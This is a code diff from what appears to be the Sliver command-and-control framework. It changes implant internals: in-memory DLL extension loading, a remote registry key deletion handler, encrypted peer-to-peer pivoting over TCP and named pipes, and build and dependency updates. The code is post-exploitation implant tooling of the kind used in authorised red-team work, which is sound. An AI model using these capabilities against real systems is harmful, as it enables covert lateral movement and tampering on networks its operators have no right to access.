||||
# server / generate
|
||||
if go test -tags=server,gosqlite ./server/generate -timeout 6h ; then
|
||||
if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
|
||||
@@ -5,6 +5,8 @@ go 1.17
|
||||
// fix wgctrl requiring old wireguard
|
||||
replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
|
||||
|
||||
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
|
||||
|
||||
require (
|
||||
github.com/AlecAivazis/survey/v2 v2.2.2
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
|
||||
@@ -59,7 +61,6 @@ require (
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/emirpasic/gods v1.12.0
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/shirou/gopsutil/v3 v3.21.10
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
|
||||
@@ -104,8 +104,6 @@ github.com/desertbit/columnize v2.1.0+incompatible h1:h55rYmdrWoTj7w9aAnCkxzM3C2
|
||||
github.com/desertbit/columnize v2.1.0+incompatible/go.mod h1:5kPrzQwKbQ8E5D28nvTVPqIBJyj+8jvJzwt6HXZvXgI=
|
||||
github.com/desertbit/go-shlex v0.1.1 h1:c65HnbgX1QyC6kPL1dMzUpZ4puNUE6ai/eVucWNLNsk=
|
||||
github.com/desertbit/go-shlex v0.1.1/go.mod h1:Qbb+mJNud5AypgHZ81EL8syOGaWlwvAOTqS7XmWI4pQ=
|
||||
github.com/desertbit/grumble v1.1.1 h1:1wxy6ka1aqbtA3kZIHaPfB/DD91HSM2m4Kx2QIIGfpE=
|
||||
github.com/desertbit/grumble v1.1.1/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
|
||||
github.com/desertbit/readline v1.5.1 h1:/wOIZkWYl1s+IvJm/5bOknfUgs6MhS9svRNZpFM53Os=
|
||||
github.com/desertbit/readline v1.5.1/go.mod h1:pHQgTsCFs9Cpfh5mlSUFi9Xa5kkL4d8L1Jo4UVWzPw0=
|
||||
github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
|
||||
@@ -114,8 +112,6 @@ github.com/dlclark/regexp2 v1.2.0 h1:8sAhBGEM0dRWogWqWyQeIJnxjWO6oIjl8FKqREDsGfk
|
||||
github.com/dlclark/regexp2 v1.2.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
|
||||
github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
|
||||
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
|
||||
github.com/emirpasic/gods v1.12.0 h1:QAUIPSaCu4G+POclxeqb3F+WPpdKqFGlw36+yOzGlrg=
|
||||
github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
@@ -373,6 +369,8 @@ github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:F
|
||||
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
|
||||
github.com/moloch--/grumble v1.1.4 h1:/utJ405bbS2/Kx73XE03zqP1a3ZE9p3vqD3ePvsrG8o=
|
||||
github.com/moloch--/grumble v1.1.4/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
|
||||
github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
|
||||
|
||||
@@ -29,11 +29,11 @@ import (
|
||||
"io"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
"time"
|
||||
|
||||
"github.com/pquerna/otp"
|
||||
"github.com/pquerna/otp/totp"
|
||||
@@ -73,6 +73,9 @@ func ECCEncrypt(recipientPublicKey *[32]byte, senderPrivateKey *[32]byte, plaint
|
||||
|
||||
// ECCDecrypt - Decrypt using Curve 25519 + ChaCha20Poly1305
|
||||
func ECCDecrypt(senderPublicKey *[32]byte, recipientPrivateKey *[32]byte, ciphertext []byte) ([]byte, error) {
|
||||
if len(ciphertext) < 24 {
|
||||
return nil, errors.New("ciphertext too short")
|
||||
}
|
||||
var decryptNonce [24]byte
|
||||
copy(decryptNonce[:], ciphertext[:24])
|
||||
plaintext, ok := box.Open(nil, ciphertext[24:], &decryptNonce, senderPublicKey, recipientPrivateKey)
|
||||
@@ -104,11 +107,12 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
plaintext = bytes.NewBuffer(GzipBuf(plaintext)).Bytes()
|
||||
nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead())
|
||||
if _, err := rand.Read(nonce); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return aead.Seal(nonce, nonce, GzipBuf(plaintext), nil), nil
|
||||
return aead.Seal(nonce, nonce, plaintext, nil), nil
|
||||
}
|
||||
|
||||
// Decrypt - Decrypt using chacha20poly1305
|
||||
|
||||
@@ -43,6 +43,7 @@ var (
|
||||
// TOTP secret value
|
||||
totpSecret = "{{.OTPSecret}}"
|
||||
|
||||
// ErrInvalidPeerKey - Peer to peer key exchange failed
|
||||
ErrInvalidPeerKey = errors.New("invalid peer key")
|
||||
)
|
||||
|
||||
|
||||
@@ -18,7 +18,13 @@ package extension
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import "errors"
|
||||
import (
|
||||
"errors"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
var extensions map[string]Extension
|
||||
|
||||
@@ -45,6 +51,11 @@ func Run(extID string, funcName string, arguments []byte, callback func([]byte))
|
||||
if ext, found := extensions[extID]; found {
|
||||
return ext.Call(funcName, arguments, callback)
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
for id, ext := range extensions {
|
||||
log.Printf("Extension '%s' (%s)", id, ext.GetArch())
|
||||
}
|
||||
//{{end}}
|
||||
return errors.New("{{if .Config.Debug}} extension not found{{end}}")
|
||||
}
|
||||
|
||||
|
||||
@@ -65,6 +65,9 @@ func (w *WindowsExtension) GetArch() string {
|
||||
|
||||
func (w *WindowsExtension) Load() error {
|
||||
var err error
|
||||
if len(w.data) == 0 {
|
||||
return errors.New("{{if .Config.Debug}} extension data is empty {{end}}")
|
||||
}
|
||||
w.module, err = memmod.LoadLibrary(w.data)
|
||||
if err != nil {
|
||||
return err
|
||||
|
||||
@@ -77,6 +77,7 @@ var (
|
||||
sliverpb.MsgRegistryReadReq: regReadHandler,
|
||||
sliverpb.MsgRegistryWriteReq: regWriteHandler,
|
||||
sliverpb.MsgRegistryCreateKeyReq: regCreateKeyHandler,
|
||||
sliverpb.MsgRegistryDeleteKeyReq: regDeleteKeyHandler,
|
||||
sliverpb.MsgRegistrySubKeysListReq: regSubKeysListHandler,
|
||||
sliverpb.MsgRegistryListValuesReq: regValuesListHandler,
|
||||
|
||||
@@ -496,6 +497,23 @@ func regCreateKeyHandler(data []byte, resp RPCResponse) {
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func regDeleteKeyHandler(data []byte, resp RPCResponse) {
|
||||
deleteReq := &sliverpb.RegistryDeleteKeyReq{}
|
||||
err := proto.Unmarshal(data, deleteReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = registry.DeleteKey(deleteReq.Hostname, deleteReq.Hive, deleteReq.Path, deleteReq.Key)
|
||||
deleteResp := &sliverpb.RegistryDeleteKey{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if err != nil {
|
||||
deleteResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(deleteResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func regSubKeysListHandler(data []byte, resp RPCResponse) {
|
||||
listReq := &sliverpb.RegistrySubKeyListReq{}
|
||||
err := proto.Unmarshal(data, listReq)
|
||||
|
||||
@@ -69,8 +69,8 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
|
||||
return
|
||||
}
|
||||
|
||||
if startListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
|
||||
listener, err := startListener(req.BindAddress, connection.Send)
|
||||
if createListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
|
||||
listener, err := createListener(req.BindAddress, connection.Send)
|
||||
if err != nil {
|
||||
resp.Response.Err = err.Error()
|
||||
data, _ := proto.Marshal(resp)
|
||||
@@ -80,6 +80,7 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
|
||||
}
|
||||
return
|
||||
}
|
||||
go listener.Start()
|
||||
pivots.AddListener(listener)
|
||||
data, _ := proto.Marshal(listener.ToProtobuf())
|
||||
connection.Send <- &pb.Envelope{
|
||||
@@ -117,12 +118,20 @@ func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Conn
|
||||
}
|
||||
|
||||
func pivotPeerEnvelopeHandler(envelope *pb.Envelope, connection *transports.Connection) {
|
||||
sent := pivots.SendToPeer(envelope)
|
||||
sent, err := pivots.SendToPeer(envelope)
|
||||
if !sent {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Send to peer failed, report peer failure upstream ...")
|
||||
// {{end}}
|
||||
data, _ := proto.Marshal(&pb.PivotPeerFailure{ID: envelope.ID})
|
||||
errStr := ""
|
||||
if err != nil {
|
||||
errStr = err.Error()
|
||||
}
|
||||
data, _ := proto.Marshal(&pb.PivotPeerFailure{
|
||||
PeerID: pivots.MyPeerID,
|
||||
Type: pb.PeerFailureType_SEND_FAILURE,
|
||||
Err: errStr,
|
||||
})
|
||||
connection.Send <- &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerFailure,
|
||||
Data: data,
|
||||
|
||||
@@ -20,6 +20,7 @@ package pivots
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -29,39 +30,37 @@ import (
|
||||
"github.com/lesnuages/go-winio"
|
||||
)
|
||||
|
||||
// StartNamedPipePivotListener - Starts a named pipe listener
|
||||
func StartNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
var (
|
||||
namedpipePivotReadDeadline = 10 * time.Second
|
||||
namedpipePivotWriteDeadline = 10 * time.Second
|
||||
)
|
||||
|
||||
// CreateNamedPipePivotListener - Starts a named pipe listener
|
||||
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
fullName := "\\\\.\\pipe\\" + address
|
||||
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
|
||||
//SecurityDescriptor: "",
|
||||
RemoteClientMode: true,
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Listening on %s", fullName)
|
||||
log.Printf("Listening on named pipe %s", fullName)
|
||||
// {{end}}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
pivotLn := &PivotListener{
|
||||
ID: ListenerID(),
|
||||
Type: pb.PivotType_NamedPipe,
|
||||
Listener: ln,
|
||||
Pivots: &sync.Map{},
|
||||
BindAddress: fullName,
|
||||
Upstream: upstream,
|
||||
ID: ListenerID(),
|
||||
Type: pb.PivotType_NamedPipe,
|
||||
Listener: ln,
|
||||
PivotConnections: &sync.Map{},
|
||||
BindAddress: fullName,
|
||||
Upstream: upstream,
|
||||
}
|
||||
go namedPipeAcceptConnections(pivotLn)
|
||||
return pivotLn, nil
|
||||
}
|
||||
|
||||
func namedPipeAcceptConnections(pivotListener *PivotListener) {
|
||||
// hostname, err := os.Hostname()
|
||||
// if err != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Printf("Failed to determine hostname %s", err)
|
||||
// // {{end}}
|
||||
// hostname = "."
|
||||
// }
|
||||
// namedPipe := strings.ReplaceAll(pivotListener.Listener.Addr().String(), ".", hostname)
|
||||
for {
|
||||
conn, err := pivotListener.Listener.Accept()
|
||||
if err != nil {
|
||||
@@ -69,15 +68,14 @@ func namedPipeAcceptConnections(pivotListener *PivotListener) {
|
||||
}
|
||||
// handle connection like any other net.Conn
|
||||
pivotConn := &NetConnPivot{
|
||||
id: PivotID(),
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
readDeadline: tcpPivotReadDeadline,
|
||||
writeDeadline: tcpPivotWriteDeadline,
|
||||
readDeadline: namedpipePivotReadDeadline,
|
||||
writeDeadline: namedpipePivotWriteDeadline,
|
||||
upstream: pivotListener.Upstream,
|
||||
Downstream: make(chan *pb.Envelope),
|
||||
}
|
||||
go pivotConn.Start(pivotListener.Pivots)
|
||||
go pivotConn.Start(pivotListener.PivotConnections)
|
||||
}
|
||||
}
|
||||
+206
-92
@@ -43,17 +43,39 @@ const (
|
||||
)
|
||||
|
||||
var (
|
||||
ErrFailedWrite = errors.New("failed to write")
|
||||
// ErrFailedWrite - Failed to write to a connection
|
||||
ErrFailedWrite = errors.New("failed to write")
|
||||
// ErrFailedKeyExchange - Failed to exchange session and/or peer keys
|
||||
ErrFailedKeyExchange = errors.New("failed key exchange")
|
||||
|
||||
pivotListeners = &sync.Map{}
|
||||
listenerID = uint32(0)
|
||||
pivotListeners = &sync.Map{}
|
||||
stoppedPivotListeners = &sync.Map{}
|
||||
|
||||
PeerID = PivotID() // This implant's Peer ID, a per-execution instance ID
|
||||
listenerID = uint32(0)
|
||||
|
||||
// MyPeerID - This implant's Peer ID, a per-execution instance ID
|
||||
MyPeerID = generatePeerID()
|
||||
|
||||
pivotReadDeadline = 10 * time.Second
|
||||
pivotWriteDeadline = 10 * time.Second
|
||||
)
|
||||
|
||||
// StartListener - Generic interface to a start listener function
|
||||
type StartListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
|
||||
// generatePeerID - Generate a new pivot id
|
||||
func generatePeerID() int64 {
|
||||
buf := make([]byte, 8)
|
||||
_, err := rand.Read(buf)
|
||||
if err != nil {
|
||||
return time.Now().UnixNano() // These need only be unique
|
||||
}
|
||||
peerID := int64(binary.LittleEndian.Uint64(buf))
|
||||
if peerID == int64(0) {
|
||||
return time.Now().UnixNano()
|
||||
}
|
||||
return peerID
|
||||
}
|
||||
|
||||
// CreateListener - Generic interface to a start listener function
|
||||
type CreateListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
|
||||
|
||||
// GetListeners - Get a list of active listeners
|
||||
func GetListeners() []*pb.PivotListener {
|
||||
@@ -68,9 +90,56 @@ func GetListeners() []*pb.PivotListener {
|
||||
|
||||
// AddListener - Add a listener
|
||||
func AddListener(listener *PivotListener) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] my peer id: %d", MyPeerID)
|
||||
log.Printf("[pivot] adding listener: %s", listener.BindAddress)
|
||||
// {{end}}
|
||||
pivotListeners.Store(listener.ID, listener)
|
||||
}
|
||||
|
||||
// RemoveListener - Stop a pivot listener
|
||||
func RemoveListener(id uint32) {
|
||||
if listener, ok := pivotListeners.LoadAndDelete(id); ok {
|
||||
listener.(*PivotListener).Stop()
|
||||
}
|
||||
}
|
||||
|
||||
// RestartAllListeners - Start all pivot listeners
|
||||
func RestartAllListeners(send chan<- *pb.Envelope) {
|
||||
stoppedPivotListeners.Range(func(key, value interface{}) bool {
|
||||
stoppedListener := value.(*PivotListener)
|
||||
if createListener, ok := SupportedPivotListeners[stoppedListener.Type]; ok {
|
||||
listener, err := createListener(stoppedListener.BindAddress, send)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] failed to restart listener: %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
go listener.Start()
|
||||
AddListener(listener)
|
||||
}
|
||||
return true
|
||||
})
|
||||
stoppedPivotListeners = nil
|
||||
}
|
||||
|
||||
// StopAllListeners - Stop all pivot listeners
|
||||
func StopAllListeners() {
|
||||
pivotListeners.Range(func(key, value interface{}) bool {
|
||||
value.(*PivotListener).Stop()
|
||||
return true
|
||||
})
|
||||
stoppedPivotListeners = pivotListeners
|
||||
pivotListeners = &sync.Map{}
|
||||
}
|
||||
|
||||
// StartListener - Stop a pivot listener
|
||||
func StartListener(id uint32) {
|
||||
if listener, ok := pivotListeners.Load(id); ok {
|
||||
listener.(*PivotListener).Start()
|
||||
}
|
||||
}
|
||||
|
||||
// StopListener - Stop a pivot listener
|
||||
func StopListener(id uint32) {
|
||||
if listener, ok := pivotListeners.Load(id); ok {
|
||||
@@ -79,71 +148,74 @@ func StopListener(id uint32) {
|
||||
}
|
||||
|
||||
// SendToPeer - Forward an envelope to a peer
|
||||
func SendToPeer(envelope *pb.Envelope) bool {
|
||||
peerEnvelope := &pb.PivotPeerEnvelope{}
|
||||
err := proto.Unmarshal(envelope.Data, peerEnvelope)
|
||||
func SendToPeer(envelope *pb.Envelope) (bool, error) {
|
||||
pivotPeerEnvelope := &pb.PivotPeerEnvelope{}
|
||||
err := proto.Unmarshal(envelope.Data, pivotPeerEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to unmarshal peer envelope: %s", err)
|
||||
// {{end}}
|
||||
return false
|
||||
return false, err
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Peer Envelope: %v", peerEnvelope)
|
||||
log.Printf("Send to downstream pivot id: %d", peerEnvelope.PivotID)
|
||||
log.Printf("my peer envelope: %+v", pivotPeerEnvelope)
|
||||
// {{end}}
|
||||
|
||||
downstreamEnvelope := &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerEnvelope,
|
||||
Data: peerEnvelope.Data,
|
||||
}
|
||||
err = proto.Unmarshal(peerEnvelope.Data, downstreamEnvelope)
|
||||
nextPeerID, err := findNextPeerID(pivotPeerEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to unmarshal downstream envelope: %s", err)
|
||||
log.Printf("Failed to find next peer id: %s", err)
|
||||
// {{end}}
|
||||
return false
|
||||
return false, err
|
||||
}
|
||||
|
||||
// NOTE: Yes linear search is bad, but there should be a very small
|
||||
// number of listeners and pivots so it should be fine
|
||||
sent := false // Controls iteration of outer loop
|
||||
pivotListeners.Range(func(key interface{}, value interface{}) bool {
|
||||
listener := value.(*PivotListener)
|
||||
listener.Pivots.Range(func(key interface{}, value interface{}) bool {
|
||||
pivot := value.(*NetConnPivot)
|
||||
if pivot.ID() == peerEnvelope.PivotID {
|
||||
pivot.Downstream <- downstreamEnvelope
|
||||
sent = true // break from the outer loop
|
||||
return false // stop iterating inner loop
|
||||
}
|
||||
return true // keep iterating inner loop
|
||||
})
|
||||
pivotConn, ok := listener.PivotConnections.Load(nextPeerID)
|
||||
if ok {
|
||||
pivot := pivotConn.(*NetConnPivot)
|
||||
pivot.Downstream <- envelope
|
||||
sent = true // break from the outer loop
|
||||
return false // stop iterating inner loop
|
||||
}
|
||||
return !sent // keep iterating while not sent
|
||||
})
|
||||
// {{if .Config.Debug}}
|
||||
if !sent {
|
||||
log.Printf("Failed to find pivot with id %d", peerEnvelope.PivotID)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to find peer with id %d", nextPeerID)
|
||||
// {{end}}
|
||||
return false, errors.New("peer not found")
|
||||
}
|
||||
// {{end}}
|
||||
return sent
|
||||
return sent, nil
|
||||
}
|
||||
|
||||
func findNextPeerID(pivotPeerEnvelope *pb.PivotPeerEnvelope) (int64, error) {
|
||||
for index, peer := range pivotPeerEnvelope.Peers {
|
||||
if peer.PeerID == MyPeerID {
|
||||
if 0 <= index-1 {
|
||||
return pivotPeerEnvelope.Peers[index-1].PeerID, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return int64(0), errors.New("next peer not found")
|
||||
}
|
||||
|
||||
// PivotListener - A pivot listener
|
||||
type PivotListener struct {
|
||||
ID uint32
|
||||
Type pb.PivotType
|
||||
Listener net.Listener
|
||||
Pivots *sync.Map // ID -> NetConnPivot
|
||||
BindAddress string
|
||||
Upstream chan<- *pb.Envelope
|
||||
ID uint32
|
||||
Type pb.PivotType
|
||||
Listener net.Listener
|
||||
PivotConnections *sync.Map // PeerID (int64) -> NetConnPivot
|
||||
BindAddress string
|
||||
Upstream chan<- *pb.Envelope
|
||||
}
|
||||
|
||||
// ToProtobuf - Get the protobuf version of the pivot listener
|
||||
func (l *PivotListener) ToProtobuf() *pb.PivotListener {
|
||||
pivotPeers := []*pb.PivotPeer{}
|
||||
l.Pivots.Range(func(key interface{}, value interface{}) bool {
|
||||
pivotPeers := []*pb.NetConnPivot{}
|
||||
l.PivotConnections.Range(func(key interface{}, value interface{}) bool {
|
||||
pivot := value.(*NetConnPivot)
|
||||
pivotPeers = append(pivotPeers, pivot.ToProtobuf())
|
||||
return true
|
||||
@@ -156,23 +228,47 @@ func (l *PivotListener) ToProtobuf() *pb.PivotListener {
|
||||
}
|
||||
}
|
||||
|
||||
// Stop - Stop the pivot listener
|
||||
func (l *PivotListener) Stop() {
|
||||
// Close all peer connections before closing listener
|
||||
l.Pivots.Range(func(key interface{}, value interface{}) bool {
|
||||
value.(*NetConnPivot).Close()
|
||||
return true
|
||||
})
|
||||
l.Pivots = nil
|
||||
l.Listener.Close()
|
||||
// Start - Start the pivot listener
|
||||
func (p *PivotListener) Start() {
|
||||
for {
|
||||
conn, err := p.Listener.Accept()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] accept error: %s", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
// handle connection like any other net.Conn
|
||||
pivotConn := &NetConnPivot{
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
readDeadline: pivotReadDeadline,
|
||||
writeDeadline: pivotWriteDeadline,
|
||||
upstream: p.Upstream,
|
||||
Downstream: make(chan *pb.Envelope),
|
||||
}
|
||||
go pivotConn.Start(p.PivotConnections)
|
||||
}
|
||||
}
|
||||
|
||||
// PivotClose - Close a pivot connection
|
||||
func (l *PivotListener) PivotClose(id int64) {
|
||||
if p, ok := l.Pivots.Load(id); ok {
|
||||
l.Pivots.Delete(id)
|
||||
p.(*NetConnPivot).Close()
|
||||
// Stop - Stop the pivot listener
|
||||
func (l *PivotListener) Stop() {
|
||||
l.Listener.Close() // Stop accepting new connections
|
||||
|
||||
// Close all existing connections
|
||||
connectionIDs := []int64{}
|
||||
l.PivotConnections.Range(func(key interface{}, value interface{}) bool {
|
||||
connectionIDs = append(connectionIDs, key.(int64))
|
||||
return true
|
||||
})
|
||||
for _, id := range connectionIDs {
|
||||
pivotConn, ok := l.PivotConnections.LoadAndDelete(id)
|
||||
if ok {
|
||||
pivotConn.(*NetConnPivot).Close()
|
||||
}
|
||||
}
|
||||
l.PivotConnections = &sync.Map{} // Make sure we drop any refs
|
||||
}
|
||||
|
||||
// ListenerID - Generate a new pivot id
|
||||
@@ -181,55 +277,50 @@ func ListenerID() uint32 {
|
||||
return listenerID
|
||||
}
|
||||
|
||||
// PivotID - Generate a new pivot id
|
||||
func PivotID() int64 {
|
||||
buf := make([]byte, 8)
|
||||
rand.Read(buf)
|
||||
return int64(binary.LittleEndian.Uint64(buf))
|
||||
}
|
||||
|
||||
// NetConnPivot - A generic pivot connection to a peer via net.Conn
|
||||
type NetConnPivot struct {
|
||||
id int64
|
||||
conn net.Conn
|
||||
readMutex *sync.Mutex
|
||||
writeMutex *sync.Mutex
|
||||
cipherCtx *cryptography.CipherContext
|
||||
readDeadline time.Duration
|
||||
writeDeadline time.Duration
|
||||
downstreamPeerID int64
|
||||
conn net.Conn
|
||||
readMutex *sync.Mutex
|
||||
writeMutex *sync.Mutex
|
||||
cipherCtx *cryptography.CipherContext
|
||||
readDeadline time.Duration
|
||||
writeDeadline time.Duration
|
||||
|
||||
upstream chan<- *pb.Envelope
|
||||
Downstream chan *pb.Envelope
|
||||
}
|
||||
|
||||
// ID - ID of peer pivot
|
||||
func (p *NetConnPivot) ID() int64 {
|
||||
return p.id
|
||||
// DownstreamPeerID - ID of peer pivot
|
||||
func (p *NetConnPivot) DownstreamPeerID() int64 {
|
||||
return p.downstreamPeerID
|
||||
}
|
||||
|
||||
// ToProtobuf - Protobuf of pivot peer
|
||||
func (p *NetConnPivot) ToProtobuf() *pb.PivotPeer {
|
||||
return &pb.PivotPeer{
|
||||
ID: p.id,
|
||||
func (p *NetConnPivot) ToProtobuf() *pb.NetConnPivot {
|
||||
return &pb.NetConnPivot{
|
||||
PeerID: p.downstreamPeerID,
|
||||
RemoteAddress: p.RemoteAddress(),
|
||||
}
|
||||
}
|
||||
|
||||
// Start - Starts the TCP pivot connection handler
|
||||
func (p *NetConnPivot) Start(pivots *sync.Map) {
|
||||
defer p.conn.Close()
|
||||
defer func() {
|
||||
p.conn.Close()
|
||||
}()
|
||||
err := p.peerKeyExchange()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] peer key exchange completed successfully")
|
||||
log.Printf("[pivot] peer key exchange completed successfully with peer %d", p.downstreamPeerID)
|
||||
// {{end}}
|
||||
|
||||
// We don't want to register the peer prior to the key exchange
|
||||
// Add & remove self from listener pivots map
|
||||
pivots.Store(p.ID(), p)
|
||||
defer pivots.Delete(p.ID())
|
||||
pivots.Store(p.DownstreamPeerID(), p)
|
||||
defer pivots.Delete(p.DownstreamPeerID())
|
||||
|
||||
go func() {
|
||||
defer close(p.Downstream)
|
||||
@@ -246,22 +337,30 @@ func (p *NetConnPivot) Start(pivots *sync.Map) {
|
||||
Type: pb.MsgPivotPeerPing,
|
||||
Data: envelope.Data,
|
||||
}
|
||||
} else {
|
||||
} else if envelope.Type == pb.MsgPivotPeerEnvelope {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] received peer envelope, upstreaming (%d) ...", envelope.Type)
|
||||
// {{end}}
|
||||
envelopeData, _ := proto.Marshal(envelope)
|
||||
data, _ := proto.Marshal(&pb.PivotPeerEnvelope{
|
||||
PeerID: PeerID, // This proccess' Peer ID
|
||||
PivotID: p.ID(), // The Pivot connection ID
|
||||
Name: consts.SliverName,
|
||||
Data: envelopeData,
|
||||
})
|
||||
p.upstream <- &pb.Envelope{
|
||||
ID: 0, // Pivot server implementation uses handlers, so ID must be zero
|
||||
Type: pb.MsgPivotPeerEnvelope,
|
||||
Data: data,
|
||||
peerEnvelope := &pb.PivotPeerEnvelope{}
|
||||
err := proto.Unmarshal(envelope.Data, peerEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] error un-marshalling peer envelope: %s", err)
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
// Append ourselves to the list of peers, and then upstream
|
||||
peerEnvelope.Peers = append(peerEnvelope.Peers, &pb.PivotPeer{
|
||||
PeerID: MyPeerID,
|
||||
Name: consts.SliverName,
|
||||
})
|
||||
envelope.Data, _ = proto.Marshal(peerEnvelope)
|
||||
p.upstream <- envelope
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] received unknown message type (%d), dropping ...", envelope.Type)
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
}
|
||||
}()
|
||||
@@ -269,6 +368,15 @@ func (p *NetConnPivot) Start(pivots *sync.Map) {
|
||||
for envelope := range p.Downstream {
|
||||
err := p.writeEnvelope(envelope)
|
||||
if err != nil {
|
||||
if p.downstreamPeerID != 0 {
|
||||
p.upstream <- &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerFailure,
|
||||
Data: mustMarshal(&pb.PivotPeerFailure{
|
||||
Type: pb.PeerFailureType_DISCONNECT,
|
||||
PeerID: p.downstreamPeerID,
|
||||
